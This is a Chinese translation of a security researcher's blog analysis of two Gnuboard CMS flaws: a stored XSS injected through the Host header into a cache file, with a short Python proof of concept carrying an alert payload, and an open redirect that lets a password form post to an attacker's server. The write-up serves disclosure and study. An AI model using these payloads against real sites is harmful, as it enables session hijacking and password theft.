Gnuboard 漏洞分析

原文地址:http://blog.adm1nkyj.kr

译者:欧巴@知道创宇404实验室

发表时间:2017年11月23日

简介

Gnuboard是韩国Sir公司开发一套PHP+Mysql CMS程序。 本身数据结构简单,可扩展性能强,程序运行代码与皮肤文件分离,可扩展数据字段多,可以进行多种功能转变,简单安装就可以作为BBS告示板使用,也可以下载皮肤插件变成 综合网站,地方信息,购物,人才市场,物品交易网站。

Gnuboard stored xss

之前记录的一个漏洞,漏洞触发点比较有趣,而且威胁也大,所以就发到博客。

首先看一下 index.php代码

	<div style="float:left;<?php echo $lt_style ?>">
	    <?php
	    // 이 함수가 바로 최신글을 추출하는 역할을 합니다.
	    // 사용방법 : latest(스킨, 게시판아이디, 출력라인, 글자수);
	    // 테마의 스킨을 사용하려면 theme/basic 과 같이 지정
	    echo latest("basic", $row['bo_table'], 5, 25);
	    ?>
	</div>

latest过滤之后echo输出,如果是以前,就会跳过这个漏洞点,但是因为缺钱,所以跟了一下代码。

跟一下lib/latest.lib.php文件

	if(G5_USE_CACHE) {
        $cache_file = G5_DATA_PATH."/cache/latest-{$bo_table}-{$skin_dir}-{$rows}-{$subject_len}.php";

        if(!file_exists($cache_file)) {
            $cache_fwrite = true;
        } else {
            if($cache_time > 0) {
                $filetime = filemtime($cache_file);
                if($filetime && $filetime < (G5_SERVER_TIME - 3600 * $cache_time)) {
                    @unlink($cache_file);
                    $cache_fwrite = true;
                }
            }

            if(!$cache_fwrite)
                include($cache_file);
        }
    }

    if(!G5_USE_CACHE || $cache_fwrite) {
        $list = array();

        $sql = " select * from {$g5['board_table']} where bo_table = '{$bo_table}' ";
        $board = sql_fetch($sql);
        $bo_subject = get_text($board['bo_subject']);

        $tmp_write_table = $g5['write_prefix'] . $bo_table; // 게시판 테이블 전체이름
        $sql = " select * from {$tmp_write_table} where wr_is_comment = 0 order by wr_num limit 0, {$rows} ";
        $result = sql_query($sql);
        for ($i=0; $row = sql_fetch_array($result); $i++) {
            $list[$i] = get_list($row, $board, $latest_skin_url, $subject_len);
        }

        if($cache_fwrite) {
            $handle = fopen($cache_file, 'w');
            $cache_content = "<?php\nif (!defined('_GNUBOARD_')) exit;\n\$bo_subject='".sql_escape_string($bo_subject)."';\n\$list=".var_export($list, true)."?>";
            fwrite($handle, $cache_content);
            fclose($handle);
        }
    }

    ob_start();
    include $latest_skin_path.'/latest.skin.php';
    $content = ob_get_contents();
    ob_end_clean();

    return $content;

看代码能发现,如果存在缓存文件,那就直接包含已存在的缓存,如果没有那就生成一个缓存文件之后,再调用缓存。

生成缓存的时候会传入$latest_skin_url函数,$latest_skin_url函数会包含G5_SKIN_URL的值。G5_SKIN_URL的值在 common.php文件的g5_path()的函数中会包含 host头的值,导致xss漏洞。

漏洞复现:

为了初始化缓存,先发一篇文章,然后跳转到index.php的时候 修改host值为

"><img src=1 onerror="alert('XSS');">

PoC :

	import requests
	from urllib import quote
	
	header = {"Host":"\"><img src=1 onerror=\"alert('XSS');\">"}
	
	url = "site_url"
	
	r = requests.get(url, headers=header)
	print r.text

Gnuboard open redirect & password leak

为了参加 hacking camp的演讲,准备open redirect漏洞的案例的时候,想起之前朋友挖过的gnuboard的漏洞,然后现在看了一下,虽然有补丁但是还是存在漏洞。

skin/member/basic/member_confirm_skin.php文件。

	 <form name="fmemberconfirm" action="<?php echo $url ?>" onsubmit="return fmemberconfirm_submit(this);" method="post">
	    <input type="hidden" name="mb_id" value="<?php echo $member['mb_id'] ?>">
	    <input type="hidden" name="w" value="u">
	
	    <fieldset>
	        회원아이디
	        <span id="mb_confirm_id"><?php echo $member['mb_id'] ?></span>
	
	        <label for="confirm_mb_password">비밀번호<strong class="sound_only">필수</strong></label>
	        <input type="password" name="mb_password" id="confirm_mb_password" required class="required frm_input" size="15" maxLength="20">
	        <input type="submit" value="확인" id="btn_submit" class="btn_submit">
	    </fieldset>
	
	    </form>

可以看到在form表单里 输出了 url,如果url改成 http://hacker.com,黑客会截取form表单里的所有的值。从上述代码可以看到,form表单里包含了 password的值。

接着我们继续查找从哪个文件调用了上述的member_confirm_skin.php文件。我们发现在bbs/member_confirm.php文件中调用了。

	$url = clean_xss_tags($_GET['url']);
	
	// url 체크
	check_url_host($url);
	
	$url = get_text($url);
	
	include_once($member_skin_path.'/member_confirm.skin.php');
	
	include_once('./_tail.sub.php');
	?>

但是这里看到对 url参数进行了过滤,继续跟踪看看check_url_host,函数是如何进行过滤的。

	function check_url_host($url, $msg='', $return_url=G5_URL)
	{
	    if(!$msg)
	        $msg = 'url에 타 도메인을 지정할 수 없습니다.';
	
	    $p = @parse_url($url);
	    $host = preg_replace('/:[0-9]+$/', '', $_SERVER['HTTP_HOST']);
	    
	
	    if(stripos($url, 'http:') !== false) {
	        if(!isset($p['scheme']) || !$p['scheme'] || !isset($p['host']) || !$p['host'])
	            alert('url 정보가 올바르지 않습니다.', $return_url);
	    }
	
	   
	
	    if ((isset($p['scheme']) && $p['scheme']) || (isset($p['host']) && $p['host']) || $is_host_check) {
	        //if ($p['host'].(isset($p['port']) ? ':'.$p['port'] : '') != $_SERVER['HTTP_HOST']) {
	        if ( ($p['host'] != $host) || $is_host_check ) {
	            echo '<script>'.PHP_EOL;
	            echo 'alert("url에 타 도메인을 지정할 수 없습니다.");'.PHP_EOL;
	            echo 'document.location.href = "'.$return_url.'";'.PHP_EOL;
	            echo '</script>'.PHP_EOL;
	            echo '<noscript>'.PHP_EOL;
	            echo '<p>'.$msg.'</p>'.PHP_EOL;
	            echo '<p><a href="'.$return_url.'">돌아가기</a></p>'.PHP_EOL;
	            echo '</noscript>'.PHP_EOL;
	            exit;
	        }
	    }
	}

看到这里发现之前多虑了,因为发现parse_url函数基本没有过滤。绕过方法参见下图。

如果用这种方式构造url后,发送链接给会员输入密码,那么密码会发送到攻击者指定的服务器中(因为网址和实际网址一样,所以成功欺骗的概率会更高一些)

原文链接:http://blog.adm1nkyj.kr

原文作者:http://blog.adm1nkyj.kr

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏DevOps时代的专栏

[Jenkins 新插件] 兼容阿里开发手册 (P3C) 的火线插件安装使用教程

火线(Fireline)的Jenkins官方插件已经上线,目前火线不仅能检查出安卓代码中的安全类问题和内存泄露问题,还兼容了阿里开源的Java开发规约(P3C项...

4477
来自专栏walterlv - 吕毅的博客

Windows 10 四月更新,文件夹名称也能区分大小写了

发布于 2018-06-14 00:02 更新于 2018-09...

2793
来自专栏耕耘实录

Firefox用户,一个不小心你们的密码可能已经被泄露

火狐(Firefox)浏览器是极客君比较常用的一个浏览器,在某次使用中,本人发现一个很有可能泄露使用者用户名及密码的缺陷,特此分享一下!

1143
来自专栏SAP最佳业务实践

关于S4信贷错误的系统解决方案

https://wiki.scn.sap.com/wiki/display/ABAPConn/Technical+Setup+and+Reset+of+the+...

3714
来自专栏信安之路

Cobalt Strike 初体验

Cobalt Strike 一款以 metasploit 为基础的 GUI 的框架式渗透测试工具,集成了端口转发、服务扫描,自动化溢出,多模式端口监听,win ...

960
来自专栏FreeBuf

快讯 | MacOS重大漏洞:反复按键即可创建root账号

macOS又被爆出漏洞,最新版本的macOS High Sierra能让用户创建一个空密码的root账号,创建方法非常简单,只需要反复按键。 ? 攻击场景是:用...

2277
来自专栏阿北的知识分享

浅谈csrf攻击以及yii2对其的防范措施

今天北哥就给大家普及下csrf是啥?如果你已经知道了可以直接拉文章到底部点个赞。:smile:

1926
来自专栏区块链

我们不一样的黑客渗透教程第三课,CVE20177269实战测试

很多人想学黑客知识,却不知如何入门,网上的教程也太繁琐,小白看了也头疼,那还是我来写黑客系列入门教程吧,跟着我做,你能黑客入门的。我已经写了两篇了,第1篇在 《...

3336
来自专栏FreeBuf

安全运维之如何找到隐匿于last和w命令中的ssh登录痕迹

*本文原创作者:ForrestX386,本文属FreeBuf原创奖励计划,未经许可禁止转载

1102
来自专栏张戈的专栏

PHP跨站脚本攻击(XSS)漏洞修复方法(一)

今天又做了一回奥特曼(out man),居然才发现 360 的综合搜索变成了好搜!前几天,其实看到过一次好搜,但是以为又是 DNS 劫持出现的流氓搜索。 今天细...

8216

扫码关注云+社区

领取腾讯云代金券